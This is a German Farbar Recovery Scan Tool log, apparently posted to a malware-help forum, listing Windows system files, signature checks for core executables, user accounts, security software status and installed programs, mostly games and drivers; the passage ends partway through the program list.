2017-03-18 22:56 - 2017-03-18 22:56 - 00047104 _____ (Microsoft Corporation) C:\windows\system32\Drivers\dmvsc.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00046592 _____ (Microsoft Corporation) C:\windows\system32\rrinstaller.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00046592 _____ (Microsoft Corporation) C:\windows\system32\Drivers\xinputhid.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00046592 _____ (Microsoft Corporation) C:\windows\system32\Drivers\hidir.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00046080 _____ (Microsoft Corporation) C:\windows\system32\iernonce.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00045568 _____ (Microsoft Corporation) C:\windows\system32\Drivers\Udecx.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00045568 _____ (Microsoft Corporation) C:\windows\system32\Drivers\devauthe.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00045056 _____ (Microsoft Corporation) C:\windows\system32\mfvfw.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00045048 _____ (Microsoft Corporation) C:\windows\system32\mfpmp.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00044960 _____ (Silicon Integrated Systems Corp.) C:\windows\system32\Drivers\sisraid2.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00044960 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mssmbios.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00044632 _____ (Microsoft Corporation) C:\windows\system32\Drivers\WdBoot.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00044544 _____ (Microsoft Corporation) C:\windows\SysWOW64\netfxperf.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00043520 _____ (Microsoft Corporation) C:\windows\system32\Drivers\BthAvrcpTg.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00040960 _____ (Microsoft Corporation) C:\windows\system32\netfxperf.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00040960 _____ (Microsoft Corporation) C:\windows\system32\Drivers\RfxVmt.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00040960 _____ (Microsoft Corporation) C:\windows\system32\Drivers\hidusb.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00040960 _____ (Microsoft Corporation) C:\windows\system32\Drivers\hidparse.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00040448 _____ (Microsoft Corporation) C:\windows\system32\TsUsbGDCoInstaller.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00040448 _____ (Microsoft Corporation) C:\windows\system32\Drivers\kbdhid.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00040352 _____ (Microsoft Corporation) C:\windows\system32\SecurityHealthBatteryAlertsManager.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00039936 _____ (Microsoft Corporation) C:\windows\system32\Windows.Internal.SecurityMitigationsBroker.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00039424 _____ (Microsoft Corporation) C:\windows\system32\Drivers\monitor.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00039424 _____ (Microsoft Corporation) C:\windows\system32\Drivers\buttonconverter.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00038912 _____ (Microsoft Corporation) C:\windows\SysWOW64\rrinstaller.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00038296 _____ (Microsoft Corporation) C:\windows\system32\Drivers\hidbatt.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00038128 _____ (Intel Corporation) C:\windows\system32\Drivers\iaLPSSi_GPIO.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00036768 _____ (Microsoft Corporation) C:\windows\system32\Drivers\storvsc.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00036760 _____ (Microsoft Corporation) C:\windows\system32\Drivers\storufs.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00036352 _____ (Microsoft Corporation) C:\windows\system32\WcnEapPeerProxy.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00036256 _____ (Microsoft Corporation) C:\windows\system32\Drivers\battc.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00036232 _____ (Microsoft Corporation) C:\windows\SysWOW64\mfpmp.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00035328 _____ (Microsoft Corporation) C:\windows\system32\WcnEapAuthProxy.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00035328 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vhf.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00035328 _____ (Microsoft Corporation) C:\windows\system32\Drivers\usbuhci.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00035328 _____ (Microsoft Corporation) C:\windows\system32\Drivers\TsUsbGD.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00033280 _____ (Microsoft Corporation) C:\windows\system32\WindowsUpdateElevatedInstaller.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00033280 _____ (Microsoft Corporation) C:\windows\system32\Drivers\mouhid.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00033280 _____ (Intel(R) Corporation) C:\windows\system32\Drivers\iagpio.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00032768 _____ (Microsoft Corporation) C:\windows\system32\Drivers\usbrpm.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00032768 _____ (Microsoft Corporation) C:\windows\system32\Drivers\fdc.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00032256 _____ (Microsoft Corporation) C:\windows\system32\licmgr10.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00032256 _____ (Microsoft Corporation) C:\windows\system32\Drivers\BthhfHid.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00032160 _____ (Microsoft Corporation) C:\windows\system32\Drivers\usbd.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00032160 _____ (Mellanox) C:\windows\system32\Drivers\winmad.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00031648 _____ (Microsoft Corporation) C:\windows\system32\Drivers\winhv.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00031592 _____ (Microsoft Corporation) C:\windows\system32\CameraSettingsUIHost.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00031136 _____ (Promise Technology, Inc.) C:\windows\system32\Drivers\stexstor.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00031128 _____ C:\windows\system32\Drivers\SDFRd.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00030720 _____ (Microsoft Corporation) C:\windows\system32\Drivers\wacompen.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00030720 _____ (Microsoft Corporation) C:\windows\system32\Drivers\usbohci.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00030208 _____ (Microsoft Corporation) C:\windows\system32\Drivers\CmBatt.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00029600 _____ (Microsoft Corporation) C:\windows\system32\Drivers\urschipidea.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00029600 _____ (Microsoft Corporation) C:\windows\system32\Drivers\uefi.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00029088 _____ (Microsoft Corporation) C:\windows\system32\Drivers\atapi.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00028672 _____ (Microsoft Corporation) C:\windows\system32\Drivers\sermouse.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00028160 _____ (Microsoft Corporation) C:\windows\system32\MSAMRNBSink.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00028064 _____ (Microsoft Corporation) C:\windows\system32\Drivers\urssynopsys.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00028064 _____ (Microsoft Corporation) C:\windows\system32\Drivers\cmimcext.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00027456 _____ (Microsoft Corporation) C:\windows\system32\vmbuspipe.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\pnrpauto.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\icmui.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\Drivers\usbprint.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00027136 _____ (Microsoft Corporation) C:\windows\system32\Drivers\npsvctrig.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00027040 _____ (Microsoft Corporation) C:\windows\system32\streamci.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00027040 _____ (Advanced Micro Devices) C:\windows\system32\Drivers\amdxata.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00026624 _____ (Microsoft Corporation) C:\windows\system32\Drivers\flpydisk.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00026112 _____ (Microsoft Corporation) C:\windows\system32\Drivers\serenum.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00026112 _____ (Microsoft Corporation) C:\windows\system32\Drivers\HyperVideo.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00025088 _____ (Microsoft Corporation) C:\windows\system32\Drivers\VMBusHID.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00024064 _____ (Microsoft Corporation) C:\windows\SysWOW64\MSAMRNBSink.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00023552 _____ (Microsoft Corporation) C:\windows\system32\Drivers\BtaMPM.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00023040 _____ (Microsoft Corporation) C:\windows\system32\Drivers\kdnic.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00022944 _____ (Microsoft Corporation) C:\windows\system32\Drivers\isapnp.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00021592 _____ (Microsoft Corporation) C:\windows\system32\HalExtIntcLpioDMA.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00021504 _____ (Microsoft Corporation) C:\windows\system32\Drivers\genericusbfn.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00020992 _____ (Microsoft Corporation) C:\windows\SysWOW64\icmui.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00020480 _____ (Microsoft Corporation) C:\windows\system32\Drivers\AcpiDev.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00019968 _____ (Microsoft Corporation) C:\windows\SysWOW64\mscorier.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00019968 _____ (Microsoft Corporation) C:\windows\SysWOW64\CoreMmRes.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\mscorier.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00019968 _____ (Microsoft Corporation) C:\windows\system32\CoreMmRes.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00019544 _____ (Microsoft Corporation) C:\windows\system32\HalExtPL080.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00019360 _____ (Microsoft Corporation) C:\windows\system32\Drivers\intelide.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00019352 _____ (Microsoft Corporation) C:\windows\system32\Drivers\msisadrv.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00018680 _____ (Microsoft Corporation) C:\windows\system32\wshhyperv.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00018520 _____ (Microsoft Corporation) C:\windows\system32\Drivers\WindowsTrustedRTProxy.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\winshfhc.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\Drivers\wmiacpi.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00018432 _____ (Microsoft Corporation) C:\windows\system32\Drivers\sfloppy.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00018336 _____ (Microsoft Corporation) C:\windows\system32\Drivers\swenum.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00017408 _____ (Microsoft Corporation) C:\windows\system32\VmApplicationHealthMonitorProxy.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00016896 _____ (Microsoft Corporation) C:\windows\system32\iscsilog.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00016896 _____ (Microsoft Corporation) C:\windows\system32\Drivers\MTConfig.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00016896 _____ (Microsoft Corporation) C:\windows\system32\Drivers\hyperkbd.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00016800 _____ (Microsoft Corporation) C:\windows\system32\Drivers\pciide.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00016600 _____ (Microsoft Corporation) C:\windows\SysWOW64\wshhyperv.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00016288 _____ (Microsoft Corporation) C:\windows\system32\Drivers\volume.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00016232 _____ (Microsoft Corporation) C:\windows\system32\Drivers\drmkaud.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00015872 _____ (Microsoft Corporation) C:\windows\system32\clrhost.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00015360 _____ (Microsoft Corporation) C:\windows\system32\msfeedssync.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\mshta.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00014848 _____ (Microsoft Corporation) C:\windows\system32\Drivers\acpipmi.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\wmcodecdspps.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\Drivers\umpass.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00014336 _____ (Microsoft Corporation) C:\windows\system32\Drivers\acpitime.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00013824 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vmgencounter.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00013824 _____ (Microsoft Corporation) C:\windows\system32\Drivers\errdev.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00013312 _____ (Microsoft Corporation) C:\windows\SysWOW64\clrhost.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\TsUsbRedirectionGroupPolicyExtension.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00013312 _____ (Microsoft Corporation) C:\windows\system32\LAPRXY.DLL
2017-03-18 22:56 - 2017-03-18 22:56 - 00012800 _____ (Microsoft Corporation) C:\windows\system32\Drivers\acpipagr.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00011264 _____ (Microsoft Corporation) C:\windows\system32\CIRCoInst.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00010752 _____ (Microsoft Corporation) C:\windows\SysWOW64\wmcodecdspps.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\WebCache.exe
2017-03-18 22:56 - 2017-03-18 22:56 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\microsoft-windows-power-cad-events.dll
2017-03-18 22:56 - 2017-03-18 22:56 - 00010240 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vmgid.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00009728 _____ (Windows (R) Win 7 DDK provider) C:\windows\system32\Drivers\bcmfn2.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00009216 _____ (Microsoft Corporation) C:\windows\system32\Drivers\vms3cap.sys
2017-03-18 22:56 - 2017-03-18 22:56 - 00002560 _____ (Microsoft Corporation) C:\windows\system32\asferror.dll
2017-03-18 22:51 - 2017-06-03 20:29 - 00000000 ____D C:\windows\CbsTemp
2017-03-18 13:40 - 2017-06-06 12:25 - 00786432 _____ C:\windows\system32\config\BBI
2017-03-18 13:40 - 2017-06-03 20:28 - 00000000 ____D C:\windows\system32\Sysprep
2017-03-18 13:40 - 2017-06-03 20:28 - 00000000 ____D C:\windows\system32\Dism
2017-03-18 13:40 - 2017-06-03 20:28 - 00000000 ____D C:\windows\servicing
2017-03-18 13:40 - 2017-04-11 08:04 - 00032768 _____ C:\windows\system32\config\ELAM
2017-03-18 13:40 - 2017-03-18 23:03 - 00000000 ____D C:\windows\SysWOW64\AdvancedInstallers
2017-03-18 13:40 - 2017-03-18 23:03 - 00000000 ____D C:\windows\system32\AdvancedInstallers
2017-03-18 13:40 - 2017-03-18 13:40 - 00846744 _____ (Microsoft Corporation) C:\windows\system32\SmiEngine.dll
2017-03-18 13:40 - 2017-03-18 13:40 - 00762784 _____ (Microsoft Corporation) C:\windows\system32\NetSetupEngine.dll
2017-03-18 13:40 - 2017-03-18 13:40 - 00247200 _____ (Microsoft Corporation) C:\windows\system32\wdscore.dll
2017-03-18 13:40 - 2017-03-18 13:40 - 00206848 _____ (Microsoft Corporation) C:\windows\system32\PkgMgr.exe
2017-03-18 13:40 - 2017-03-18 13:40 - 00143776 _____ (Microsoft Corporation) C:\windows\system32\NetSetupApi.dll
2017-03-18 13:40 - 2017-03-18 13:40 - 00140288 _____ (Microsoft Corporation) C:\windows\system32\poqexec.exe
2017-03-18 13:40 - 2017-03-18 13:40 - 00133024 _____ (Microsoft Corporation) C:\windows\system32\SSShim.dll
2017-03-18 13:40 - 2017-03-18 13:40 - 00118272 _____ (Microsoft Corporation) C:\windows\SysWOW64\poqexec.exe
2017-03-18 13:40 - 2017-03-18 13:40 - 00111616 _____ (Microsoft Corporation) C:\windows\system32\NetDriverInstall.dll
2017-03-18 13:40 - 2017-03-18 13:40 - 00000000 ____D C:\windows\system32\SMI
2017-03-18 13:40 - 2017-03-18 13:40 - 00000000 ____D C:\windows\system32\downlevel
2017-03-10 23:17 - 2017-03-10 23:17 - 00536864 _____ C:\windows\system32\vulkan-1-1-0-42-1.dll
2017-03-10 23:17 - 2017-03-10 23:17 - 00525600 _____ C:\windows\SysWOW64\vulkan-1-1-0-42-1.dll
2017-03-10 23:17 - 2017-03-10 23:17 - 00254240 _____ C:\windows\system32\vulkaninfo-1-1-0-42-1.exe
2017-03-10 23:17 - 2017-03-10 23:17 - 00233760 _____ C:\windows\SysWOW64\vulkaninfo-1-1-0-42-1.exe
2017-03-10 18:22 - 2017-03-10 18:22 - 00515760 _____ (Intel Corporation) C:\windows\system32\ibtsiva.exe
2017-03-10 18:22 - 2017-03-10 18:22 - 00378040 _____ (Intel Corporation) C:\windows\system32\ibtproppage.dll
2017-03-10 18:22 - 2017-03-10 18:22 - 00173576 _____ (Intel Corporation) C:\windows\system32\Drivers\ibtusb.sys

==================== Drei Monate: Geänderte Dateien und Ordner ========

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird die Datei/der Ordner verschoben.)

2017-05-18 04:34 - 2017-02-08 10:00 - 00045061 _____ C:\windows\system32\nvinfo.pb

==================== Dateien im Wurzelverzeichnis einiger Verzeichnisse =======

2017-05-30 09:56 - 2017-05-30 09:56 - 0000017 _____ () C:\Users\****\AppData\Local\resmon.resmoncfg

==================== Bamital & volsnap ======================

(Es ist kein automatischer Fix für Dateien vorhanden, die an der Verifikation gescheitert sind.)

C:\windows\system32\winlogon.exe => Datei ist digital signiert
C:\windows\system32\wininit.exe => Datei ist digital signiert
C:\windows\explorer.exe => Datei ist digital signiert
C:\windows\SysWOW64\explorer.exe => Datei ist digital signiert
C:\windows\system32\svchost.exe => Datei ist digital signiert
C:\windows\SysWOW64\svchost.exe => Datei ist digital signiert
C:\windows\system32\services.exe => Datei ist digital signiert
C:\windows\system32\User32.dll => Datei ist digital signiert
C:\windows\SysWOW64\User32.dll => Datei ist digital signiert
C:\windows\system32\userinit.exe => Datei ist digital signiert
C:\windows\SysWOW64\userinit.exe => Datei ist digital signiert
C:\windows\system32\rpcss.dll => Datei ist digital signiert
C:\windows\system32\dnsapi.dll => Datei ist digital signiert
C:\windows\SysWOW64\dnsapi.dll => Datei ist digital signiert
C:\windows\system32\Drivers\volsnap.sys => Datei ist digital signiert

LastRegBack: 2017-04-11 08:03

==================== Ende von FRST.txt ============================

Twix. 06.06.2017 11:49
Addition:
Code:
Zusätzliches Untersuchungsergebnis von Farbar Recovery Scan Tool (x64) Version: 05-06-2017
durchgeführt von **** (06-06-2017 12:28:51)
Gestartet von C:\Users\****\Desktop
Windows 10 Home Version 1703 (X64) (2017-05-29 14:19:37)
Start-Modus: Normal
==========================================================


==================== Konten: =============================

Administrator (S-1-5-21-743485210-3963512150-464095969-500 - Administrator - Disabled)
DefaultAccount (S-1-5-21-743485210-3963512150-464095969-503 - Limited - Disabled)
Gast (S-1-5-21-743485210-3963512150-464095969-501 - Limited - Disabled)
**** (S-1-5-21-743485210-3963512150-464095969-1003 - Administrator - Enabled) => C:\Users\****

==================== Sicherheits-Center ========================

(Wenn ein Eintrag in die Fixlist aufgenommen wird, wird er entfernt.)

AV: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}
AV: Malwarebytes (Disabled - Up to date) {23007AD3-69FE-687C-2629-D584AFFAF72B}
AS: Malwarebytes (Disabled - Up to date) {98619B37-4FC4-67F2-1C99-EEF6D47DBD96}
AS: Windows Defender (Disabled - Up to date) {D68DDC3A-831F-4fae-9E44-DA132C1ACF46}

==================== Installierte Programme ======================

(Nur Adware-Programme mit dem Zusatz "Hidden" können in die Fixlist aufgenommen werden, um sie sichtbar zu machen. Die Adware-Programme sollten manuell deinstalliert werden.)

2007 Microsoft Office Suite Service Pack 3 (SP3) (HKLM-x32\...\{90120000-0030-0000-0000-0000000FF1CE}_ENTERPRISE_{6E107EB7-8B55-48BF-ACCB-199F86A2CD93}) (Version:  - Microsoft)
2007 Microsoft Office Suite Service Pack 3 (SP3) (x32 Version:  - Microsoft) Hidden
Airplane Mode Hid Installer (HKLM-x32\...\{5E5B067F-52A4-447E-A3F1-D6DD10565E73}) (Version: 5.0.0.2 - )
Anno 1404 (HKLM\...\Steam App 33250) (Version:  - Blue Byte)
Ansel (Version: 382.05 - NVIDIA Corporation) Hidden
Classic Shell (HKLM\...\{383BB30A-B4A7-4666-9A83-22CFA8640097}) (Version: 4.3.0 - IvoSoft)
Control Center 5.0001.1.17 (HKLM-x32\...\{2F385B5D-5F23-4513-B3CE-9F5E4F4B882A}) (Version: 5.0001.1.17 - )
Counter-Strike: Global Offensive (HKLM\...\Steam App 730) (Version:  - Valve)
EgisTec Fingerprint Driver (HKLM-x32\...\InstallShield_{E8C889B8-0A8B-46BA-B433-F7D6968A6543}) (Version: 3.5.1.0 - Egis Technology Inc.)
Europa Universalis IV (HKLM\...\Steam App 236850) (Version:  - Paradox Development Studio)
Fingerprint Driver (x32 Version: 3.5.1.0 - Egis Technology Inc.) Hidden
Garry's Mod (HKLM\...\Steam App 4000) (Version:  - Facepunch Studios)
Grand Theft Auto: San Andreas (HKLM\...\Steam App 12120) (Version:  - Rockstar Games)
Infestation: The New Z (HKLM\...\Steam App 555570) (Version:  - Fredaikis AB)
Insyde Airplane Mode HID Mini-Driver (HKLM\...\AirplaneModeHid) (Version: 1.4.0.3 - Insyde Corporation)
Intel(R) Management Engine Components (HKLM\...\{1CEAC85D-2590-4760-800F-8DE5E91F3700}) (Version: 11.6.0.1039 - Intel Corporation)
Intel(R) Online Connect Software Asset Manager (x32 Version: 3.4.2095 - Intel Corporation) Hidden
Intel(R) Processor Graphics (HKLM-x32\...\{F0E3AD40-2BBD-4360-9C76-B9AC9A5886EA}) (Version: 21.20.16.4550 - Intel Corporation)
Intel(R) Rapid Storage Technology (HKLM\...\{409CB30E-E457-4008-9B1A-ED1B9EA21140}) (Version: 15.2.0.1020 - Intel Corporation)
Malwarebytes Version 3.1.2.1733 (HKLM\...\{35065F43-4BB2-439A-BFF7-0F1014F2E0CD}_is1) (Version: 3.1.2.1733 - Malwarebytes)
Men of War: Assault Squad (HKLM\...\Steam App 64000) (Version:  - Digitalmindsoft)
Men of War: Assault Squad 2 (HKLM\...\Steam App 244450) (Version:  - Digitalmindsoft)
Microsoft Office Enterprise 2007 (HKLM-x32\...\ENTERPRISE) (Version: 12.0.6612.1000 - Microsoft Corporation)
Microsoft Office File Validation Add-In (HKLM-x32\...\{90140000-2005-0000-0000-0000000FF1CE}) (Version: 14.0.5130.5003 - Microsoft Corporation)
Microsoft Office Live Add-in 1.5 (HKLM-x32\...\{F40BBEC7-C2A4-4A00-9B24-7A055A2C5262}) (Version: 2.0.4024.1 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x64 9.0.30729.6161 (HKLM\...\{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2008 Redistributable - x86 9.0.30729.6161 (HKLM-x32\...\{9BE518E6-ECC6-35A9-88E4-87755C07200F}) (Version: 9.0.30729.6161 - Microsoft Corporation)
Microsoft Visual C++ 2010  x64 Redistributable - 10.0.40219 (HKLM\...\{1D8E6291-B0D5-35EC-8441-6616F567A0F7}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2010  x86 Redistributable - 10.0.40219 (HKLM-x32\...\{F0C3E5D1-1ADE-321E-8167-68EF0DE699A5}) (Version: 10.0.40219 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x64) - 12.0.30501 (HKLM-x32\...\{050d4fc8-5d48-4b8f-8972-47c82c46020f}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2013 Redistributable (x86) - 12.0.30501 (HKLM-x32\...\{f65db027-aff3-4070-886a-0d87064aabb1}) (Version: 12.0.30501.0 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x64) - 14.0.24215 (HKLM-x32\...\{d992c12e-cab2-426f-bde3-fb8c53950b0d}) (Version: 14.0.24215.1 - Microsoft Corporation)
Microsoft Visual C++ 2015 Redistributable (x86) - 14.0.24215 (HKLM-x32\...\{e2803110-78b3-4664-a479-3611a381656a}) (Version: 14.0.24215.1 - Microsoft Corporation)
Mount & Blade: Warband (HKLM\...\Steam App 48700) (Version:  - TaleWorlds Entertainment)
Mozilla Firefox 53.0.3 (x86 de) (HKLM-x32\...\Mozilla Firefox 53.0.3 (x86 de)) (Version: 53.0.3 - Mozilla)
Mozilla Maintenance Service (HKLM\...\MozillaMaintenanceService) (Version: 53.0.3 - Mozilla)
North and South First Manassas (HKLM-x32\...\{2C8737F2-E5C2-4A78-A4F8-1CFB00C9E289}_is1) (Version: 1.0.0 - Hinkel, Parrot, Wuestenkrieger, Nytech)
NVIDIA 3D Vision Treiber 382.05 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.3DVision) (Version: 382.05 - NVIDIA Corporation)
NVIDIA GeForce Experience 3.6.0.74 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.GFExperience) (Version: 3.6.0.74 - NVIDIA Corporation)
NVIDIA Grafiktreiber 382.05 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_Display.Driver) (Version: 382.05 - NVIDIA Corporation)
NVIDIA HD-Audiotreiber 1.3.34.17 (HKLM\...\{B2FE1952-0186-46C3-BAEC-A80AA35AC5B8}_HDAudio.Driver) (Version: 1.3.34.17 - NVIDIA Corporation)
NVIDIA PhysX (HKLM-x32\...\{8B922CF8-8A6C-41CE-A858-F1755D7F5D29}) (Version: 9.12.1031 - NVIDIA Corporation)
NvNodejs (Version: 3.6.0.74 - NVIDIA Corporation) Hidden
NvTelemetry (Version: 2.4.10.0 - NVIDIA Corporation) Hidden
NvvHci (Version: 2.02.0.5 - NVIDIA Corporation) Hidden
Overwolf (HKLM-x32\...\Overwolf) (Version: 0.104.210.0 - Overwolf Ltd.)
PAYDAY 2 (HKLM\...\Steam App 218620) (Version:  - OVERKILL - a Starbreeze Studio.)
Realtek Card Reader (HKLM-x32\...\{5BC2B5AB-80DE-4E83-B8CF-426902051D0A}) (Version: 10.0.14393.21292 - Realtek Semiconductor Corp.)
Realtek Ethernet Controller Driver (HKLM-x32\...\{8833FFB6-5B0C-4764-81AA-06DFEED9A476}) (Version: 10.10.714.2016 - Realtek)
Realtek High Definition Audio Driver (HKLM-x32\...\{F132AF7F-7BCA-4EDE-8A7C-958108FE7DBC}) (Version: 6.0.1.8029 - Realtek Semiconductor Corp.)
Rocket League (HKLM\...\Steam App 252950) (Version:  - Psyonix, Inc.)
SHIELD Streaming (Version: 7.1.0370 - NVIDIA Corporation) Hidden
SHIELD Wireless Controller Driver (Version: 3.6.0.74 - NVIDIA Corporation) Hidden
Sound Blaster Cinema 3 (HKLM-x32\...\{883EEEA5-1C5A-42BD-96C3-796F2ACB9120}) (Version: 1.00.14 - Creative Technology Limited)
Steam (HKLM-x32\...\Steam) (Version: 2.10.91.91 - Valve Corporation)
Stellaris (HKLM\...\Steam App 281990) (Version:  - Paradox Development Studio)
Synaptics Pointing Device Driver (HKLM\...\SynTPDeinstKey) (Version: 19.3.4.58 - Synaptics Incorporated)
Tabletop Simulator (HKLM\...\Steam App 286160) (Version:  - Berserk Games)
TeamSpeak 3 Client (HKLM\...\TeamSpeak 3 Client) (Version: 3.1.4 - TeamSpeak Systems GmbH)
TeamViewer 12 (HKLM-x32\...\TeamViewer) (Version: 12.0.78313 - TeamViewer)
The Elder Scrolls V: Skyrim (HKLM\...\Steam App 72850) (Version:  - Bethesda Game Studios)
The Guild II: Renaissance (HKLM\...\Steam App 39680) (Version:  - Rune Forge)
